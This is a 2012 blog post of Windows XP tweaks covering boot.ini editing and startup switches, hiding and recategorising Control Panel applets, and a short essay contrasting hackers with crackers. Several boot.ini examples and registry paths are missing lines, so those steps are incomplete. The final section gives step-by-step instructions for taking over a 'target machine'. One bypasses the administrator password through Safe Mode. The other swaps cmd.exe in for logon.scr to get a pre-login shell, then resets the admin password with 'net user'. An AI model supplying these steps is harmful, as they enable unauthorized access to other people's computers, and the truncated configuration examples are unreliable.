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«  January 2012  »
Main » 2012 » January » 24 » Win XP Tips 5
3:26 PM
Win XP Tips 5
39. Customize Multiboot Startup Options
Edit or create a startup menu that lets you choose which operating system to boot into
in multiboot systems, or create a menu that lets you choose different startup options
for your single operating system if you have only XP installed.
If you've installed another operating system (in addition to XP) on your system, your
PC starts up with a multiboot menu, which allows you to choose the operating system
you want to run. The menu stays live for 30 seconds, and a screen countdown tells
you how long you have to make a choice from the menu. After the 30 seconds elapse,
it boots into your default operating system, which is generally the last operating
system you installed.
You can customize that multiboot menu and how your PC starts by editing the
boot.ini file, a hidden system file, to control a variety of startup options, including
how long to display the menu, which operating system should be the default, whether
to use the XP splash screen when XP starts, and similar features. And as you'll see
later in this hack, you can also use the file to create a startup menu that will allow you
to choose from different versions of your operating systemfor example, one that you'll
use for tracking down startup problems, and another for starting in Safe Mode.
The boot.ini file is a plain-text file found in your root C:\ folder. You might not be
able to see it because it's a system file, and if you can see it, you might not be able to
edit it because it's a read-only file. To make it visible, launch Windows Explorer,
choose ViewToolsFolder Options View. Select the Show Hidden Files and
Folders radio button. To make it a file you can edit, right-click it in Windows
Explorer, choose Properties, uncheck the Read-Only box, and click.
To edit the file, open it with a text editor such as Notepad. Following is a typical
boot.ini file for a PC that has two operating systems installed on itWindows XP Home
Edition and Windows 2000 Professional:
[boot loader]
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
Home Edition" /fastdetect
multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows 2000 Professional"
As you can see, there are two sections in the file: [bootloader] and [operating
systems]. To customize your menu and startup options, edit the entries in each
section. Before editing boot.ini, make a copy of it and save it under a different name
(such as boot.ini.old) so that you can revert to it if you cause problems when you edit
the file.
Following are details about how to edit the entries in each section:
[boot loader]
This section controls how the boot process works; it specifies the default
operating system and how long a user has to make a selection from a boot
menu, if a boot menu has been enabled. The timeout value specifies, in
seconds, how long to display the menu and wait for a selection before loading
the default operating system. If you want a delay of 15 seconds, for example,
enter 15 for the value. Use a value of 0 if you want the default operating
system to boot immediately. If you want the menu to be displayed indefinitely
and stay on-screen until a selection is made, use a value of -1. The default
value specifies which entry in the [operating system] section is the default
operating system. (The default value is used even if there is only one
operating system in the [operating system] section.) To change the default
operating system, edit the setting, in our example, to
So, in our example, if you change the menu settings so that the screen appears
for 10 seconds before loading the default operating system, and the default
operating system is Windows 2000 Professional, the section reads:
[boot loader]
[operating system]
This section specifies which operating systems are present on the computer,
and detailed options for each one. XP uses the Advanced RISC Computing
(ARC) path to specify the location of the boot partition. In our example, the
ARC path is:
The first parameter, which identifies the disk controller, should be 0. The
second parameter, the disk parameter, should also be 0. The rdisk parameter
specifies the disk number on the controller that has the boot partition. The
numbers start at 0. So, if you have three hard disks installed and the second
hard disk has the boot partition, the setting is rdisk(1). The partition
parameter identifies the partition number of the boot partition. Partitions start
with the number 1. The final section, which in our example is \WINDOWS,
specifies the path to the folder where the operating system is installed.
To the right of the ARC path in the example is ="Microsoft Windows XP
Home Edition" /fastdetect. The words within quotes are what will appear
on the boot menu next to the entry. To customize the text on the menu you can
change these words to whatever you wishfor example, "My Favorite Operating
System." The /fastdetect switch disables the detection of serial and parallel
devices, which allows for faster booting. The detection of these devices isn't
normally required in XP because the functions are performed by Plug and Play
drivers, so as a general rule it's a good idea to use the /fastdetect switch.
The /fastdetect switch is only one of many switches that you can use in the
boot.ini file to customize how the operating system loads.
Switches for boot.ini
Switch What it does
Starts XP using the standard VGA driver. It's most useful if you
can't boot normally because of a video driver problem.
Logs information about the boot process to the ntbtlogl.txt file in
the C:\Windows folder.
Loads the debugger at boot, but the debugger remains inactive
unless a crash occurs.
/DEBUG Loads the debugger at boot and runs it.
/F*DETECT Disables the detection of serial and parallel devices.
MAXMEM:n Specifies the maximum amount of RAM that XP can use.
/NOGUIBOOT Does not allow the XP splash screen to load during boot.
/NODEBUG Stops the debugger from loading.
Forces XP to boot into the safe mode specified by the switch
parameter, which can be minimal, network, or
minimal(alternate shell). In minimal safe mode, only the
minimum set of drivers necessary to start XP are loaded. In
network safe mode, networking drivers are loaded in addition to
the minimum set of drivers. In minimal(alternate shell) the
minimum set of drivers are loaded and XP boots into the
command prompt.
Displays the name of each driver as it loads and gives
descriptions of what is occurring during the boot process. It also
offers other information, including the XP build number, the
service pack number, the number of processors on the system,
and the amount of installed memory.
When you've finished editing the boot.ini file, save it. The next time you start your
computer, its settings will go into effect.
In our example, if we want the menu to appear for 45 seconds, the default operating
system to be Windows 2000, and the XP splash screen to be turned off when we
choose to load XP, the boot.ini file should look like this:
[boot loader]
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
Edition" /fastdetect /noguiboot
multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows 2000 Professional"
Bonus Tip: Create a Startup Menu Even
If You Have Only One OS
Even if you have only one operating system, you can create a boot menu that will let
you choose to load your operating system with different parameters.
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Trace Problems XP Home Edition"
/fastdetect /bootlog /sos
This entry creates a startup log and displays information about the drivers and other
operating system information as it loads.
For the version of the operating system that loads in Safe Mode but that still allows
networking, you could create this entry:
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Safe Start XP Home Edition" /
fastdetect /safeboot:network
The boot.ini file would look like this, assuming that you want the menu to display for
30 seconds and you want normal XP startup to be the default:
[boot loader]
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home
Edition" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Trace Problems XP Home Edition"
/fastdetect /bootlog /sos
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Safe Start XP Home Edition" /
fastdetect /safeboot:network
40. Control Panel: Hide Unused Applets
with the Registry
To hide unused applets using the Registry, run the Registry Editorand go to
Panel\don't load.
The key, as its name implies, determines which Control Panel applet icons are not
loaded into the Control Panel. You'll still be able to run those applets from the
command line after you hide them; you just won't be able to see their icons in the
Control Panel.
To hide an applet, create a new String value whose name is the filename of the
applet you want to hide. For example, to hide the Mouse Control dialog box, the
String value would be main.cpl.
Control Panel applets and their filenames
Applet Filename
System Properties sysdm.cpl
Display Properties desk.cpl
Network Connections ncpa.cpl
Accessibility Options access.cpl
Control Panel applets and their filenames
Applet Filename
Add or Remove Programs appwiz.cpl
Add Hardware Wizard hdwwiz.cpl
Internet Properties Inetcpl.cpl
Region and Language Options intl.cpl
Game Controllers joy.cpl
Mouse Properties main.cpl
Sound and Audio Devices mmsys.cpl
User Accounts nusrmgr.cpl
ODBC Data Source Administrator odbccp32.cpl
Power Options Properties Powercfg.cpl
Phone and Modem Options telephon.cpl
Time and Date Properties timedate.cpl
Speech Properties sapi.cpl
Create separate String values for each applet you want to hide, then exit the
Registry. The applets will vanish from the Control Panel. To make a hidden applet
appear again, delete its string value from this same registry key.
41. Recategorize Control Panel Applets
You can also recategorize applets and put them in any category you want. For
example, by default, the Mouse Properties applet can be found in the Printers and
Other Hardware category, but if you prefer that it instead be found in Accessibility
Options, you can move it there.
To put an applet into any category you want, you need two pieces of information: the
filename of the applet (for example, main.cpl for the Mouse Properties dialog box),
and the Registry value for each Control Panel category (for example, 0x00000007 (7)
for Accessibility Options
Control Panel categories and their Registry value data
Control panel category Value data
Accessibility Options 0x00000007 (7)
Add or Remove Programs 0x00000008 (8)
Appearance and Themes 0x00000001 (1)
Date, Time, Language, and Regional Options 0x00000006 (6)
Network and Internet Connections 0x00000003 (3)
Other Control Panel Options 0x00000000 (0)
Performance and Maintenance 0x00000005 (5)
Printers and Other Hardware 0x00000002 (2)
Sounds, Speech, and Audio Devices 0x00000004 (4)
User Accounts 0x00000009 (9)
No category 0xffffffff
To recategorize a Control Panel applet, run the Registry Editor and go to
Panel\Extended Properties\{305CA226-D286-468e-B848-2B2E8E697B74}2. The
key {305CA226-D286-468e-B848-2B2E8E697B74}2 is the container that holds all
Control Panel categories.
Now find the Registry key of the applet you want to recategorize. The filename of the
applet will appear on the end of the key; for example,
%SystemRoot%\system32\main.cpl is the Mouse Properties dialog box. Change the
key's DWORD value to the value of the Control Panel category into which you want the
applet to appear. For example, if you want the applet to appear in the Performance
and Maintenance category, give it a value of 5. The value will then be displayed in the
Registry as 0x00000005(5).
When you're done, exit the Registry. The applet will now appear in the new category..
42. Is it a hack by any means…??
Defenitely Not! What we have discussed so far are not hacks by any means.
They are just ‘tweaks’. Tweaking is done to customize the system according to user
preferences by over riding the default settings. Tweaking will improve the system
performance by many folds, provided that it is done in the right way. Most of the
tweaks and tricks are performed in the following 3 areas.
1.Start Run Regedit
2. Start RunMsconfig
3. Start Rungpedit.msc
It is difficult for a newbie to understand the various keys and sub-keys in the registry
and a wrong move can have catastrophic effects. The second one is way too simple
and the options are limited. So I recommend the third area 
. Group Policy Editor or
gpedit.msc is a nice place for the newbies to learn and try their own tricks. The main
advantage is its simplicity. Just click on the + signs to dive deep into it. Explanations
are given along with each entry. Read the explanation and decide on the settings that
needs to be set. Nothing much, you just need to enable or disable a setting. Isn’t it a
simple thing to do?? And trust me, it can even create wonders!! So go ahead and try it
now itself. Good luck.
43. What the heck is a hack then..??
Hacking is done to expose a security hole in a system. Hacking is done to expose the
holes in the armor so that system designers can patch it in their next release. Hacking
if done with a malicious mind, then its cracking! Crackers are basically hackers with a
malicious mind. They exploit the security holes to gain unauthorized access to a
system. They often steal data like the credit card information from the victim’s
computer and read their mails. Some crackers go beyond and often engage in
destructive actions like creating viruses and worms. So the next time when you say
hacker/cracker, understand what they are. Hackers don’t like being greeted as
crackers for the same reason that hackers are friendly and nice people.
I’m giving you two examples below to understand how hacking differs from
Eg1: Hack the XP Admin Passwords
When you or anyone installs Windows XP for the first time your asked to put in your
username and up to five others. Now, unknownst to a lot of other people this is the
only place in Windows XP that you can password the default Administrator
Diagnostic Account. This means that to by pass most administrators accounts on
Windows XP all you have to do is boot to safe mode by pressing F8 during boot up
and choosing it. Log into the Administrator Account and create your own or change
the password on the current Account. This only works if the user on setup specified a
password for the Administrator Account.
Eg2:Hack XP Password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly. Forget about the explanations as it is for the
sake of clarity purpose
Command Expalnation
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the screen
saver you will get an unprotected dos prompt with out logging into XP. Once this
happens if you enter this command minus the quotes "net user <admin account name
here> password"
If the Administrator Account is called Frank and you want the password blah enter
this "net user Frank blah" and this changes the password on franks machine to blah
and you should be in.
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